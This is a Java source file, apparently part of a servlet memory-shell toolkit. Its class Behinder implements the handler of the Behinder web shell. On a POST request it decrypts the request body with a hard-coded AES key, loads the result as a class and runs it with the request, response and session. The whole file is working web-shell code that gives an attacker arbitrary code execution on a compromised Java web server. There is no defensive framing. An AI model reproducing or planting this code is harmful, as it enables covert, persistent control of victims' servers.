package org.memShell;

import java.util.ArrayList;

import java.util.List;

import javax.crypto.Cipher;

import javax.crypto.spec.SecretKeySpec;

import javax.servlet.ServletRequest;

import javax.servlet.ServletResponse;

import org.memShell.redefine.MyRequest;

import org.memShell.redefine.MySession;

public class Behinder {

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}

public void shell(ServletRequest request, ServletResponse response) throws Exception {

String method = MyRequest.getMethod(request);

if (method.equals("POST")) {

String k = "8d777f385d3dfec8";

Object session = MyRequest.getSession(request);

MySession.putValue(session, "u", k);

Cipher c = Cipher.getInstance("AES");

c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

List object = new ArrayList();

object.add(request);

object.add(response);

object.add(MyRequest.getSession(request));

new U(this.getClass().getClassLoader())

.g(c.doFinal(

new sun.misc.BASE64Decoder().decodeBuffer(MyRequest.getReader(request).readLine())))

.newInstance().equals(object);

}

}

}